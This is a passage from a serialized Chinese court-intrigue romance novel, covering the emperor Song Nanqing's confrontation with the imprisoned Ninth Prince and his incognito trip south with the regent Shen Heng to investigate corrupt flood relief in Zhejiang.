怎么会,那个情真意切好拿捏,柔若无骨家世凄惨等待他拯救的赵氏,怎么会是宋南卿? 一瞬间,记忆像是碎掉的窗户纸,从初遇到发展,从雪球那只猫到王府里的大火,从靠在他肩头跟王妃极为相像眼下痣到叛变不听指挥的下属,九王眼眶睁大几乎裂开,整个人像是被重击了一般呆在原地。 叛徒不是贺西洲,而是这个一开始就伪装成柔弱无害的假夫人,他一开始就钻入了宋南卿的圈套之中。 宋南卿笔直的手指挑着玉佩流苏在他眼前晃,笑得天真无邪如同小孩,突然一个不稳,清脆的玉碎声音响起,王妃的遗物、招灵的信物瞬间摔在地上四分五裂。 “——!!!”九王发疯一般朝地上捡摔碎的玉佩,悲鸣声传遍整间牢房。 宋南卿冷下脸来站起身,干净光洁的鞋尖踩在一块碎玉上,声音飘渺:“九哥,碎玉难再合,人死不能复生,你节哀吧。” 在脏乱的地上疯狂捡碎玉的九王,像极了小时候抱着一地瓷鸟哨子碎片哭的宋南卿。唯一的寄托,唯一的宝贝被人恶意破坏的感觉,宋南卿早在十几年前就体会过了。 望着悲痛不已怒目圆睁的九王,宋南卿勾起一边嘴角,“王妃回不来了,那个大师就是个骗子,那么多年了你有成功过一次吗?要是魂魄真的能重返人间,大师他怎么不把自己早逝的孩子救回来呢?” 要是魂魄真的能重返人间,那些藏污纳垢的灵魂、含冤而去的逝者,怎么还会阴阳两隔。 要是魂魄真的能重返人间,他早就能重回母亲的怀抱里了。 可惜世上没有回头路,事情做下的那一刻结局就已经注定。 宋南卿从头上摘下一枚桃花簪,扔到了九王脚边。 “这些年,你残害了那么多无辜女子,王妃等着你下去跟她认罪呢。” 世上没有那么多不清明之人,求仙问佛者也不都相信神佛,他们只是需要那一点希望吊着自己,让自己活在世间还能有那么一点希冀和光亮。 “对了,你是不是还等着突厥人来救你,做什么登基的美梦啊。”宋南卿倾身弯腰,一脸好笑,“他们是摄政王的人,都是骗你的,就是为了哄你出手造反,九哥你怎么跟小时候一样天真。” “小时候斗不过沈衡,长大了还是斗不过,这些年你都在干什么啊。”少年的声音轻轻柔柔,像是索命的黑白无常手上的链子,一字一句都往南幸心缝里扎,“哦,找王妃呢,找到了吗?” 望着一身紫衣优雅贵气的宋南卿,九王仿佛回到了见王妃的第一面,那是他是受宠的皇子,要风得风要雨得雨,那个最漂亮的世家小姐,如愿对他一见钟情。 “砰——!”地牢的墙壁传来巨大的撞击声,九王的额头贴在布满灰尘和血迹的墙上,缓缓往下滑落,整个人倒在了地上。 他的头撞破了一个大洞,正在朝外流出汩汩鲜血,嘴里同样朝外溢出血沫发不出一丝声音。 宋南卿垂眼望着他鲜血淋漓的脑袋,旁边就是碎掉的白玉,沾染了丝丝鲜血,白的白,红的红。 “九哥你知道吗?母亲送我的瓷鸟哨被你踩碎的时候,我看见它也流血了,像你现在一样,好可怜。”少年声音轻柔,冷眼看着南幸的血液流干、变冷。 转过身,紫色的裙摆散开在地上像是绽开的花朵,漂亮又夺目。 宋南卿在地上蹭了蹭沾染了血迹的鞋子,神情放松朝外走去,瞥了一眼魏进道:“九王悔恨自己谋反,觉得对不起先祖,在狱中自裁而亡。” 地牢的烛火一会儿明一会暗,衬得少年的脸色晦暗不清。 魏进把手中的披风帮宋南卿披在身上,单腿跪地给他系着下方的扣,垂眼沉声道:“是,奴才明白。” 少年鞋尖上的那抹血迹变得暗红,被飘逸的紫色裙摆扫过,掩盖其中消失不见,只见裙摆上绣的一朵朵紫藤花。 ———— 九王死后,虽说谋反,但陛下感念他曾有军功,名下一子过继给了宗族远房一门,仍入太庙,九王的灵柩入宗祠。 棺材抬入陵寝加上吹吹打打的礼仪完成,就是一上午过去,当朝陛下名义上的亲兄弟,除了赶到远处镇守边疆和不世出的,就真一个不剩了。 宋南卿坐在书房懒洋洋晒着太阳,单手撑住下巴闭眼小憩,袖口的一圈毛绒绒衬得唇红齿白。 沈衡负责礼部事宜,主持完九王的入棺仪式赶回来,掀开帘子从屋外走入,脱下被风吹得冰凉的大氅才坐于桌前,手心托着少年左右摇晃的头,搁置在了自己的肩膀上靠着。 “见过摄政王。”春见对于二人的亲密举动早就司空见过,这不算什么,到了晚上乾清宫寝殿门前的动静那才真是听了掉脑袋的。年下新的一批宫人入宫,都是些没见过什么世面小孩,刚好有一个被分配到乾清宫晚上值夜,那日殿里传出的隐秘动静二更也没停,新当值的小孩哪里见过这场面,跪在雪地里头脸都冻青了,不敢起也不敢走,生怕一个不小心就被杀头。 陛下没召妃子,那寝殿里头的人分明就是…… 直到摄政王起身叫水,春见带人进去送东西,才看到雪地里快要冻僵的人。他把人扶起,问对方听到什么了。 “奴才…奴才什么也没听到,我不想死……”那小孩也就十四五岁,一脸无措惊慌望着春见。 春见低头望着他,声音平静无波:“陛下宫里做事,最重要的就是知道什么能说,什么不能说。有些事,你就算说了也没人会信,反而引来杀头之祸,陛下宫里需要的奴才,是长了同一条舌头的奴才,明白吗?” 九王死前,还有关于摄政王和陛下不好的流言,但现在,朝野上下,无人敢再对陛下和摄政王的私生活言语半分。 之前在坊间风靡一时的关于摄政王爱情故事的话本子出了第二部,谜底揭开,原来之前种种都是另有隐情,有坏人从中作梗,才使书中二人感情分崩离析,本来爱恨痴缠的情感话本变成了兄弟情合家欢样板戏,很多人都去找出版商和作者退钱。 但绿芜已经赚的盆满钵满潇洒人间,不见踪迹。 沈衡坐在软榻上,抽出少年睡梦中还手中紧握的折子。 上面是关于黄河水患一事。 之前派了工部善于此事的郗文康驻扎黄河为钦差,成立了专题治理组,本来反馈良好,但近日凌汛冲击,水患日益严重,筑的堤坝竟然垮了,黄河之水蔓延到下游,使许多无辜百姓受难。河道两旁府县上书,求陛下派人救灾。 宋南卿睡的不太安稳,不知是不是梦中也在惦记黄河水患一事,眉心蹙起。 沈衡抬指抚平了他眉间褶皱,没想到宋南卿竟惊醒,睁眼看见来人是沈衡,才又放松下来,倚在他胸前。 “在为灾民一事发愁?听春见说午膳都没吃几口。”沈衡揉了揉他的头发,温热的指腹按在穴位上,几下就让人解开了郁结。 宋南卿点头:“黄河下游百姓受灾,如果不快点解决,等天气回暖会更严重,郗文康不是专家吗?怎的也有马失前蹄的时候。” 沈衡道:“郗文康再有神通,年纪也大了,总有看顾不到的时候。陛下打算派谁去救灾?” 宋南卿眼睛转了转,狡黠一笑,“我想自己去。”《 》 70-74 第71章 第七十一章 你喜欢小孩子吗? “哎呀, 整天闷在屋子里,总是想睡觉,闷都闷死了, 我想出去散散心。”宋南卿灌下一口红茶, 打量着沈衡的表情,继而又道, “之前郗文康的治水策略我看过, 今年冬天降水没有那么多, 按道理讲不会有那么严重的灾情,我怕出问题……” “浙江巡抚之前就与贾良交好, 本次受灾, 浙江是重灾区,但他竟然一言不发,之前可是动不动就上折子汇报的人。” “而且朕今年加冠, 既加冠就亲身前往受灾地区支援, 传出去多好听呀!” 总算收拾完九王, 宋南卿心头的一块阴暗随之消散, 上位那么多年来, 他胆战心惊从未有一天真正安宁过,心腹大患一一除去, 朝中也多半都是自己人,此时不出去看看大好河山更待何时? 什么浙江巡抚其实都是他劝说沈衡的由头,今年刚加冠也不是理由, 他闷在笼子里太久,也殚精竭虑太久,为了九王一事从头到尾布置谋划耗费心神。这个年纪的少年哪个不是天天打马游街到处玩乐的主,宋南卿身在高位身不由己, 不是算计这个大臣就是设计这个亲王,小小年纪处在樊笼里下不来高台,现在总算有个可以喘口气的空档。 他不像沈衡,早就见识过草原的辽阔和雄鹰的搏击长空;他也不像贺西洲,镇守过边关去过东瀛小国,见识过不同的风土人情。他从生下来就在冷宫,登基之后抬头是庙堂低头是书本,周围围着的都是想把他剥皮削骨的豺狼,身为帝王被圈在富贵繁华的紫禁城,去过最远的地方也是在京城边缘打转,毕竟国不可一日无君,不管是吉祥物还是真的掌权人,他既然是皇帝,就得端坐在皇位。 一朝豺狼虎豹除去,他终于可以不再惶惶度过终日,得到自由的人,第一件想做的事就是去别处看看,别管去哪儿,只要不同于现在所在之处便好。 “好不好嘛——”他抱住沈衡的胳膊摇晃,仰着一张白净的小脸,像是对方要说不好就准备开始发脾气的样子。 沈衡淡淡道:“这个时节不是出游的好时间。” “谁说出游了,朕是要赈灾!赈灾你懂吗?”宋南卿言之凿凿把自己捧上了极为贤明爱民的仁君位置。 马车出去京城二十里,他就裹着棉衣躺在车厢软垫上不说话了。 冬天道路结冰不好走,马蹄一弹一颤间整个车厢都在摇晃,况且行走在外当然不比宫里应有尽有,宋南卿咽下一小块鹿肉,捧着沈衡递过来的热水喝了一口,扁扁嘴缩回了被子里,只剩一个头在外面。 冬日外头空气寒冷干燥,马车车厢的挡风帘被风吹起,宋南卿打了一个喷嚏。 这次南下出游并没有浩浩荡荡带很多人,毕竟陛下对外的名头是赈灾,不可能跟下江南游玩一样奢侈讲排场,虽然马车里面已经铺了软垫做到了最高规格,但怎么也不会跟宫里一样舒服。 皇帝仪仗从京杭运河南下,先是马车又换了游船,一路走走停停倒也不枯燥,游船画舫中,宋南卿把头枕在沈衡腿上,露出不高兴的表情来,发丝随着水流的颠簸一晃一晃。 “不舒服?”沈衡摸了摸他的头哄道,“明日就能到浙江府,到时休整休整,我们出去逛逛,再去见巡抚。” 皇帝陛下是素来爱打扮的,但是多日行走路途劳累,头发散着干脆也不绾了,怎么方便睡觉怎么来,散开的长发倾泻在沈衡腿上,像是瀑布一般。 宋南卿扒拉着他的衣袖,抬脸道:“刚刚听琵琶的时候,旁边那个小孩一直拉着你不放手,你对他一点都不凶。” “嗯?”沈衡倾身挑眉,“我为什么要对他凶。” 宋南卿打了一下他的胳膊,“那个弹琵琶的是他母亲,刚才都想让你替她赎身买了她去,你还对他们和颜悦色的!” 沈衡轻笑一声,摸着少年的耳朵道:“卿卿这是吃的哪门子醋,不论小孩的还是他母亲的,我也没替她赎身啊。” “我替她赎了,花了不少银子呢!”宋南卿瞪圆了眼睛,“那可怜兮兮的表情,柔情似水的语调,真真是我见犹怜,反正跟京城的人确实是不一样。” “嗯,然后呢?”沈衡看着他圆圆的眼睛觉得可爱,修剪整齐的指缘扫过眼尾,摸了摸闪忽的睫毛根部。 宋南卿抓过他的手指攥着,眼睛瞥向别处不自然道:“你喜欢小孩子吗?” “有你一个小孩子就难以招架了,别的不喜欢。”沈衡看出了他在想些什么,为什么而忧虑烦恼。 先不说两个男子不能生子一事,就他们的血缘关系也注定没办法有自己的孩子。 宋南卿别开脸小声嘟囔:“我已经长大了。” “哪里长大了,让先生看看。”沈衡挑起少年下巴,凤眸微眯散开一股危险气息。 宋南卿推着他的手,带着笑意的眼睛瞪他,“躺的我浑身都酥了,腿麻,先生给我按按。” 布满薄茧的手掌刚贴到少年的大腿上,沈衡神情一冷,透过画舫的窗户缝隙,他看到了不远处的水底有东西在浮动,船四周静悄悄但暗流涌动。 魏进在船门口压低了声音道:“陛下,前方有水贼,奴才已经派人去探查深浅,不知是冲着财物还是…” 话音刚落,蒙面的黑衣人就已经登船,手里拿着反光的大刀,对着人便砍,在夜色中凶光展露无遗。 看这个架势,这帮人不只是越货,还准备杀人灭口。 宋南卿握住沈衡的胳膊,迅速从榻上坐起来,放眼望去,不断从水中显形的黑衣人连绵不绝,不知是他们运气不好真的遇到水中强盗,还是有人居心不良,想借机面刺圣人銮驾。 随行的侍卫从四面八方涌出,跟凶残的黑衣人缠斗在一起,打斗落水声和血腥味朝四周散开,宋南卿有点干呕,从水里爬出来的伤者被一刀砍去了胳膊,血液溅在船板上,在月光下格外显眼。 少年握住人胳膊的手指紧了紧,混合了水渍的断臂就被遗落在不远处的地方,让人看了不寒而栗。 “不对,感觉不对,快走!”宋南卿抓住沈衡的衣服,眸子里反射出对方手中武器的亮光。 沈衡带着宋南卿慢慢朝无人在意的方向撤退,侍卫左右涌来挡在二人面前,船尾的一艘小木船被扔下去,二人跳入船中朝另一条水道划去。 身后是打斗不休,一个接一个尸体落水的声音,宋南卿躲在温暖的怀抱中,呼吸急促,全身血液都汇聚到了头顶,脸憋得发红。 这个位置临近浙江府,按道理明日就能到达,浙江巡抚那边肯定接到了圣驾消息,今晚这波水贼来的未免太过凑巧。 宋南卿垂着眼,睫毛上因着刚刚跳船溅上的水花还没干。 阻挡圣驾的水贼,浙江巡抚到底知不知情,原本说他不对劲只是宋南卿随口拿来糊弄沈衡的借口,但如今看来说不好真有隐情。这一路走来都没有问题,偏偏靠近浙江,在水路上就出了这等子事。 说是黄河连年泛滥是常事,但他经过中上游一路行船,并没有发现水位上涨,今年也不是洪涝灾年,怎么浙江府的水患会比之前严重那么多?这一切还都建立在派了治水专家郗文康支援的基础上。 郗文康如今暂居巡抚府中,驻扎在此数月有余,水灾刚开始得到抑制,但后来因为天气回暖下雨,河道坍塌更为严重。 郗文康此人一生清正,本次治理黄河水患一事,他是奉了皇上的指令,全权负责,下属地方官员全都听候差遣。要说与巡抚狼狈为奸干出什么事来,宋南卿是不相信的。原本郗文康就无心于名利,还是自己经过设计,他才又从隐居中出世。 今晚这一遭,让宋南卿不禁陷入沉思之中,更怀疑起,黄河水灾,到底是天灾,还是人祸,这群人在这个时候扰乱圣驾,究竟是何目的? 但无论如何,他得先进入浙江地界,探清虚实。 黄河下游泥沙堆积,行船不便,夜晚看不清道路更难行走,他们行至白天,终于看到了零星的村落和人影。 一群身着破烂衣物的古铜色皮肤男人在下游挑了冲下来的泥沙运到上面去,这个村子不大,正好在河道两侧,多数茅屋已经被大水冲毁,临时修建了一些窝棚,长短不一的木棒支起,老人小孩缩在里面,壮年人都在修补河道。 宋南卿只是在折子里看过水患致使百姓悲惨民不聊生的字眼,但这种情状,亲眼所见,还是第一次。 滴答滴答的水声从茅草屋顶往下渗透,滴到下面放置的水盆上,一个赤脚的小男孩由于脚陷在泥里拔不出来,三两下发力后不稳当,把手里的窝头掉在了那个泥水盆里。 “你这个死孩子!家里本就没有多少吃的了,你还那么不小心。”一个穿着满是布丁衣物的妇人朝小孩背后打了两巴掌,迅速从盆里捞出那个被泥水浸泡过的半个窝头,可惜已经不能入口了。 妇人的叫骂声逐渐变成了叹息,抹了抹眼泪,蹲坐在角落里声音渐歇。 宋南卿面上是谨慎的怜悯,他走过去从口袋里拿出了一块绿豆糕,塞到小男孩的手里,“吃吧。” 他们二人的穿戴皆不是凡品,撕下来一块衣角布料拿出去卖,都够他们一家吃半月了,但水灾来袭,大家缺的不只是钱,更是粮食和避难之所。 妇人警惕地看着他们二人,上下打量了一番。 宋南卿蹲下来露出一个温和的笑,“大娘你好,我们是行走贩盐的商人,途径此地偶遇水灾,行船翻了没办法走,停滞在此,没想到这边水患如此严重,官府没派救济粮吗?” 的确经常有过路商人贩子走水路,而且那确实是赚钱的好买卖,穿戴那么好也不奇怪。 妇人的警惕性降低了一些,又看他给自己儿子拿吃的,不免放缓了语气,“要我说水灾也不都是老天爷的事,我家那口子前月筑堤坝,回来的时候就跟我说过,那里面掺的都是沙子,监工也说弄个样子就行,谁承想,今年水那么大,两边都冲垮了。” 提起救济粮,原本还平静的妇人声音骤然带上了怒气:“官府的人哪里会管我们的死活,说是救济粮要派发,根本没见影子,他们还要来管我们收修堤坝的钱呢,简直就是强盗。” 正说着,不远处骑马踏水而来的官府人员高高仰着头,对着水边百姓就喊:“李四,你家的筑堤费什么时候交,不交齐钱款,我们拿什么买材料给你们修堤坝?你们河口村是不想好了是不是,别因为你一家子耽误整个黄河的治理!” 宋南卿皱起眉头问妇人:“什么筑堤费?这修堤治水不是官府的责任吗?怎么找你们收钱。” 妇人叹了口气,“你们经商的人不常和官府这群败类打交道,他们哪管什么责任不责任的,说是治水也就每天装模作样来晃几圈,每次还变着花样来收钱。” “前几年,李大人推行什么‘改稻为桑‘’的政策,把我们种的好好的水稻都给糟蹋了,强迫我们改种桑叶,他再派人用低价收走,我们一年忙到头,连饭都不能吃饱。” “是啊,听说他拿桑蚕丝制衣往外卖了高价,给陛下送礼还得了褒奖呢,人家官官相护,谁管我们老百姓死活。” 骑马的官兵看见这处窸窸窣窣的谈论,眉头一竖走过来,大声问:“说什么呢?你们两个是干什么的,不是河口村的人吧?” 宋南卿瞥见他腰间的刀,脚步逐渐后移。 第72章 第七十二章 我最喜欢你了 “原来是盐商啊。”听宋南卿讲完他为自己和沈衡编造的背景, 为首的官兵表情也从凶狠变得平和,“我们家老爷一直爱才,尤其是头脑灵活的人才, 二位贩盐可是有……” 那人朝宋南卿挤了个眼睛。 这年头盐铁都是极为赚钱的行业, 也必须有特许经营证才可以贩卖,而且这个经营证不是按府发放, 而是按州, 整个行业都是垄断态势, 一般的官员根本摸不到这个门。况且前阵子有地方官员联合商人贩私盐一事被查处,明面上没有地方官敢淌这趟浑水, 如果要做, 就得和有丹书铁券的人合作。 但这些人,可并不好找,之前都是皇商, 近几年上头鼓励商业发展, 逐渐下放了一些, 但有经营证的人, 哪个往上头数几代不是赫赫有名的人物。 宋南卿懂他是什么意思, 轻笑道:“当然,贩卖私盐可是砍头的死罪, 我们岂敢呢。” 那人看他们两个通身的气派就知道不是凡人,他家老爷是巡抚座下的军师,替巡抚出谋划策, 平日得了不少好处。之前从农户手中收购低价丝绸转手出去高价卖,赚的盆满钵满,巡抚大加称赞。只是今年水患,桑叶全都被糟蹋了, 之前和西域商人签订了一大批丝绸订单,如果不能按时供货,到时候连裤衩子都得赔进去。 这些天听说有大官要来浙江巡查,巡抚是整日吃不下睡不着,再加上这个压在身上千斤重的丝绸订单,这是关起门来的买卖,跟谁都不敢言语,只能想尽办法能捞一分是一分,尽快凑足银钱先赔一半定钱给西域人拖着,所以朝廷运过来的救济粮全都被他们卖了,最近搜刮这些百姓那么勤也是为了筹款。 如果能搭上盐商这条路,这个大窟窿可就有办法补了。 为首的官兵邀请宋南卿他们到府上一坐,说来者都是客,既是外地人远道而来,让他们的船停摆当地也是未尽地主之谊,希望将功补过。 在天亮之时,魏进就带着人赶来跟宋南卿他们汇合了。 但宋南卿思来想去,还是觉得不能打草惊蛇,吩咐魏进带人假装圣驾继续往浙江府去,行动缓慢一些,吸引住人的视线,不管是什么妖魔鬼怪,都会把目光放在那一行“假圣驾”上,到底是巧合还是人为,一试便知。 他和沈衡金蝉脱壳,不表明身份亲自来会一会这个浙江巡抚。 他一路以皇帝的身份行驶,见到的都是繁华盛景、百姓和乐,连运河都宽敞顺畅,这才刚刚脱离身份一会儿,就有大惊喜撞上了。 ———— 江南的园林府邸,和京中走的不是一种风格,移步换景景随影动,宋南卿才踏入军师府上走过百米,就被这儿的亭台楼阁吸引了心神。 他悄悄拍了拍沈衡低声道:“你晚儿妹妹想参考学习园林建筑,来这儿比去你府上强多了,你半天说不出一句话,她能跟你学着什么?” 少年眼睛明亮,上挑的眼尾三分漫不经心四分调侃,话里话外还在取笑沈衡。 沈衡横了他一眼,单手扶宋南卿上台阶,大言不惭问:“谁是晚儿妹妹?” 他问得情真意切,微微皱起的眉像极了正在回忆思考但依然费解的样子。 “切。”宋南卿甩开他的手,蹦跳着跟上前面人的步伐,听见为首的管家跟他讲: “二位有所不知,我家老爷这园子可是文康大人来亲自调整过的,就是工部的郗文康大人。”管家一脸与有荣焉的样子。 宋南卿乐得给他捧场,“我听说郗文康是京中最擅长园林建筑的专家,怪不得,刚刚我还与兄长谈论这园子真是不俗,我二人今日可是有眼福了。” 管家走在一旁石子路上替他们开门,边走边说:“文康大人与我家老爷交好,二位若是常来,肯定也有机会见面的,请。” 推开流光溢彩的蓝暗紫色海棠菱形窗,几人走进室内,宋南卿打量了一圈室内布置,在正对门的位置上坐下,胳膊搭在檀木桌上,手指摸着上面的纹路,心想这里的桌子跟他宫里的摸起来倒是不相上下。 他对这些名贵的东西用惯了,估摸不出价格,但沈衡却是看出其有市无价。 那扇海棠菱形窗上的蓝紫色玻璃是西洋才有,更是不知价钱几何,江南的风韵精致淡雅,不像京中奢侈雍容,所以这些低调又价值连城的东西放在这里倒是不扎眼,有心之人才看得出。 “我们家老爷正议事,可能需要稍等片刻。”管家歉意一笑,“二位想用什么茶?” 宋南卿善解人意道:“我们来本就打扰了,不必过分关照,既来此处当然要尝尝你们这儿的碧螺春。” 看看这原产地和他平日喝的有什么区别。 管家上了茶,下去找主子汇报,让宋南卿沈衡自便,不必拘束。 外头阳光透过菱格窗照射进来,不同明度色彩的小光斑映在桌面,也映在了宋南卿光洁的面颊上,黑黑的眼珠里被光一衬像是色彩缤纷的万花筒,眼波流动间饱含深意。 “怎么样?”他瞥了一眼一旁的沈衡,“对于这位军师,先生有何看法。” 沈衡把冲泡好的茶水送到嘴边,茶香清雅扑鼻,特殊的花果香很淡,但又绕在舌尖,是绝佳上好的茶,比在宫里喝的还要好上几分。 白瓷杯底在桌上一磕,沈衡缓缓吐出几个字:“堆金积玉,藏污纳垢。” 他们一路向南行驶,天气转暖,温度升高,也见识了江南一带的富饶,本以为江浙地区鱼米之乡,百姓生活应该和乐顺意,但今日河口村的惨状与军师府的幽静相比,竟有几分讽刺。 宋南卿翘了翘脚,站起身观察着对面墙上挂的画,青山绿水的江南风光着实有意境,他凑近了仔细欣赏笔触,漫不经心问:“你觉得今天那个妇人说的,关于堤坝修筑掺了沙一事,是不是真的。” “我们这边靠河不靠海,精盐价贵,一般吃的都是粗盐,经常掺了沙子在里面,还需要重新筛过之后才能用,要是能跟随二位的步伐,也算造福周边百姓。” 军师李梓山在饭桌上提了一杯酒满面红光,就合作贩盐事宜聊得宾主尽欢,仰头喝下一杯,“我干了,二位随意。” 宋南卿看沈衡巧舌如簧,还真把他随口说的盐商的身份编了个天花乱坠,面对李梓山的询问试探不动如山,胳膊撑在太师椅的扶手上,一双眼睛平静无波,随口回应的话都在一步步打消对方的疑虑。 “如果真的打通这条道路,我要七成。”沈衡手指微抬,夹了一筷子盐水鸭放在宋南卿的盘子里,拿起旁边的软帕,顺手接住少年吐出来的骨头。整套动作行云流水,分明是照顾人的事情,被他做起来却没有讨好感,反而带着一丝掌控在里面。少年吃饭的节奏和顺序,都在他手底下控制着。 李梓山是个人精,见过的人不计其数,但在面对沈衡的时候却有种被对方看透心思的惧意,他晃了晃头,把心底那丝波动归于酒意上头,面上堆着笑道:“没有巡抚大人的允许,我也不敢擅自答应,分成之事都好说,能交二位这个朋友才是正经事。” 一顿饭吃的宾主尽欢,却有不速之客打乱了这派祥和。 军师府前,聚集了一群村民,他们手里抬着个破木板,上面是一个断了腿的中年男子,刚刚蹲在村口跟宋南卿说话的妇人赫然在列,嘴里嚷嚷着:“让狗官出来!我丈夫去修堤坝却被塌下来的碎石砸伤了腿,你们不付工钱却还要朝我们收修堤钱,天下哪有这个道理!” “哎呦我苦命的孩子哦,年纪那么小就要有个瘸腿父亲了,住着破茅屋吃着窝窝头,你们这群黑心的却在这儿宴请上了!” 青天白日的,门口那么闹腾,多人都在围观,李梓山也没办法派人把他们直接赶走,对宋南卿沈衡露出了个歉意的笑。 “都说穷山恶水出刁民,二位想必没见过富饶地区也有这种百姓吧。”李梓山叹了口气,“今年水患大家都不容易,朝廷派了救济粮来,结果被他们半路劫走,不省着吃又怪官府不管事,这修堤一事本就需要大家共同努力,你们不知道这个妇人,十里八乡出名的悍妇,家里男人不出去干活,就想今天找人讹点钱明天让人赔点款,以此为生罢了,我都习惯了。” 宋南卿眸光闪过,点点头:“李大人处理便是。” 入夜,魏进在隐蔽处与宋南卿汇合,低头行了一礼,“陛下,奴才勘察过,河口两岸驻堤所用砖石出自名叫福鼎轩的砖石厂,但这个厂子早在数月前就举家搬移,不见踪迹。经奴才追寻,开设此场的人就是李梓山的小舅子,他们先是利用巡抚的特设成立砖厂,后把朝廷经费私吞,用劣质泥沙鱼目混珠,后把朝廷运来的上等材料悉数转移,发第二道财,等前几月洪水爆发堤坝冲垮才急匆匆弃砖厂而去。” “李梓山的小舅子北上逃难,被我们的人抓到了,现在正被看押,他已经把实话全都吐露。” 宋南卿在夜色里沉默,而后道:“李梓山一届平民,哪里来的那么大胆子,你刚才说他的砖厂是特设的?” 魏进点头:“是,筑堤救水一事为郗文康大人全权负责,他专门指定的福鼎轩。” 宋南卿想起李梓山府上的陈设,管家一脸骄傲说起郗文康设计的园林造景,心中有了些许思量。 回到房中,沈衡也刚从外回来,二人吹灭了外面的灯,一起坐在内室床上,暗色的房间里是两双格外明亮的眼睛。 “先生你去和李梓山谈贩盐合作,有没有什么新发现?”宋南卿把从魏进那儿得来的消息说了后,又问沈衡。 李府的客房布置也很清雅,想必是担心他们觉得不自在,弄了一个套间给他们暂住,两张床分别陈设,但二人却是挤在了一张上面。 沈衡垂手撑在宋南卿身边,像是从背后把他抱在怀里,“这样一来就说得通了,李梓山对于贩盐一事胸有成竹,甚至对未来水路往哪儿通都表现得格外自信,他和郗文康关系不简单。” 宋南卿其实一直以来都觉得郗文康是清正之人,再加上之前在贾府母亲房中看到的那些信,至少郗文康是母亲心悦之人,情真意切,他不想破坏母亲心中那个故人的形象,纵使母亲已经不在人世。 他不想让母亲心悦之人的形象变成一个利用权力鱼肉百姓的人,那样的话,和他憎恶的贾良又有何分别。 所以只要事情还未尘埃落定,他不想提前下判断。 “过两日,李梓山说要安排我们见郗文康和浙江巡抚,到时候是虚是实,一探便知。”沈衡握住少年瘦削的肩膀道,“这几日因为此事烦忧,我看卿卿又瘦了,他们的确该死。” 宋南卿瘪了瘪嘴,“这里菜都是甜的,我吃不惯,而且只有米,没有面。” 沈衡轻笑,从袖子里掏出两个还温热的馒头,递到宋南卿手边,“吃吗?” 少年眼睛亮了亮,“你从哪儿弄的?” 在李府为了不打草惊蛇,他们不敢轻举妄动,虽然这里招待是好,但他真的受不了天天都是大米,牙都软了,问过厨房也在街上找过,他们这儿就是没人做馒头。 沈衡把圆圆松软的馒头塞到他手里,道:“这是秘密。” 大盛王朝最尊贵的两个人在黑夜里,坐在床边一人一个馒头干啃着,透过窗户纸,可以隐隐约约看见天上的月亮,和咬过一口的馒头形状相似。 宋南卿咽下一口满是麦香的馒头,靠在沈衡肩膀上看着人道:“先生,我有点想哭。” “怎么,对馒头就那么思念?”沈衡打趣道。 宋南卿摇摇头,语气认真:“以前我们两个人只能分一个冷掉的馒头,现在可以一人一个了。”而且是软的,温的,没有变成硬邦邦的。 大概是今夜太黑,灯也熄了,在黑暗里啃馒头的场景让他想到了和沈衡第一次见面。 沈衡摸了摸他的侧脸道:“以后会有更多馒头,你想吃多少就有多少。” 宋南卿握住他的手贴在脸上,“以前我一直觉得京城不好,宫里不好,出来这一趟,我发觉没去过的地方也没有想象中的那么好。” “但有你陪着我,就算再不好,也变好了,我现在就很开心。”宋南卿凑近在沈衡的嘴唇上亲了一下,贴着人的脸蹭了蹭,“没有骗你,我最喜欢你了。” 不管是老师还是兄长,合作对象还是对手,世间千千万万的人中,我最喜欢你了。 不管是京城还是异乡,江湖还是庙堂,有你在的地方,就是令人安心的吾乡—— 作者有话说:快完结了,不舍[可怜] 第73章 第七十三章 最大的大逆不道 窗外的鸟叽叽喳喳正乱叫, 像是喜鹊又像是乌鸦,令人分辨不出。 昨夜宋南卿说想哭,但没真的在沈衡面前哭出来, 只是絮絮叨叨说了很多话, 二人聊到夜半才入睡,少年陷入柔软的被子里睡的很沉。 太阳已经照在了树冠上, 沈衡转眼望着还在睡梦中的怀中人, 低头吻了吻他的发顶。 门外有下人来传话, 声音很小,“沈公子, 我们家主子请二位到松柏阁一叙, 钦差大人还有巡抚大人已经到了。” 他们之前已经来叫过一次,但只有沈衡应声,小公子还在睡觉, 这眼见又一炷香过去, 实在是不妥, 不得不硬着头皮再来叫一次。 哪有客人在人家家里睡得那么熟, 完全当成自己家, 让主人等着的。这么大的架子,还以为他们才是钦差呢! 但那个沈公子剑眉星目, 身量极高,看人的眼神都带着压迫感,他们不敢过多言语, 只能在门外暗暗提醒。 少年半张脸埋进了锦被之中,抱住沈衡的一只胳膊不撒手,他睫毛颤了颤,由于睡姿鼓起的脸颊肉蹭在被子上, 大概是听到了动静,缓缓睁开眼睛。 “什么时辰了…”懒散的声音带着起床后特有的含糊,窗外日头已高,宋南卿有些晃神,静了片刻后猛地从床上坐起来念叨着,“完了完了,上朝迟了!先生怎么不叫我。” 他一手掀开被子就要往床下跑,突然感到自己的胳膊被拉住。 沈衡俯身压下来,把外衣披在他的身上,手指撩起宋南卿凌乱的长发,散在衣服外头,顺滑如丝绸的发丝扫过指缝,馨香扑鼻。 宋南卿这一停顿才反应过来身在何处,立马又躺倒了,枕着沈衡的腿胡乱拨开面上的长发,阖上眼睛道:“再睡一会儿,我刚刚都梦到你给我捉蝴蝶了。” 沈衡笑了一声,捏住他的脸晃了晃,“该起了,郗文康他们还等着。” 宋南卿跟没听到一样抓住他的手压在自己脸下,带着鼻音小声含糊道:“不管,大清早找朕做什么,这又不是在宫里。” “卿卿。”沈衡又叫了他一次,声音低沉。 宋南卿的眼睛睁开一条缝,不情不愿坐起来。 松柏阁中,李梓山正在让人上第二遍茶,擦了擦额上的汗对巡抚说:“如果能走上贩盐这条路子,丝绸订单的亏空很快便能填上,大人请放心。” 巡抚放下手中的杯盖,点了下头,“那两个人呢?我等着不要紧,让郗大人也在这儿候着吗?” 李梓山表情讪讪,“经商的人不懂规矩,小人下去一定说说他们,实在是太不像话了。” “李大人这是说谁不像话呢?” 松柏阁的木门被一股力量猛地推开,宋南卿和沈衡一前一后迈过门槛而来,腰间环佩的流苏长长随着动作摇摆,身上的提花缎在日光下反射着光辉。 李梓山看到罪魁祸首前来,吹胡子瞪眼准备上去立立威,住在他家还敢让巡抚和钦差大人等着,这不是在打自己的脸吗? 他刚站起身准备好好说道说道,余光中端坐上位的郗文康和巡抚却不见了身影。 再一转头,宋南卿逆光站在门口,身姿挺拔,而在自己面前一向拿捏架子的巡抚,竟然跪在了少年面前,安静谨慎如鹌鹑,郗文康更是面露惊色拜倒在侧。 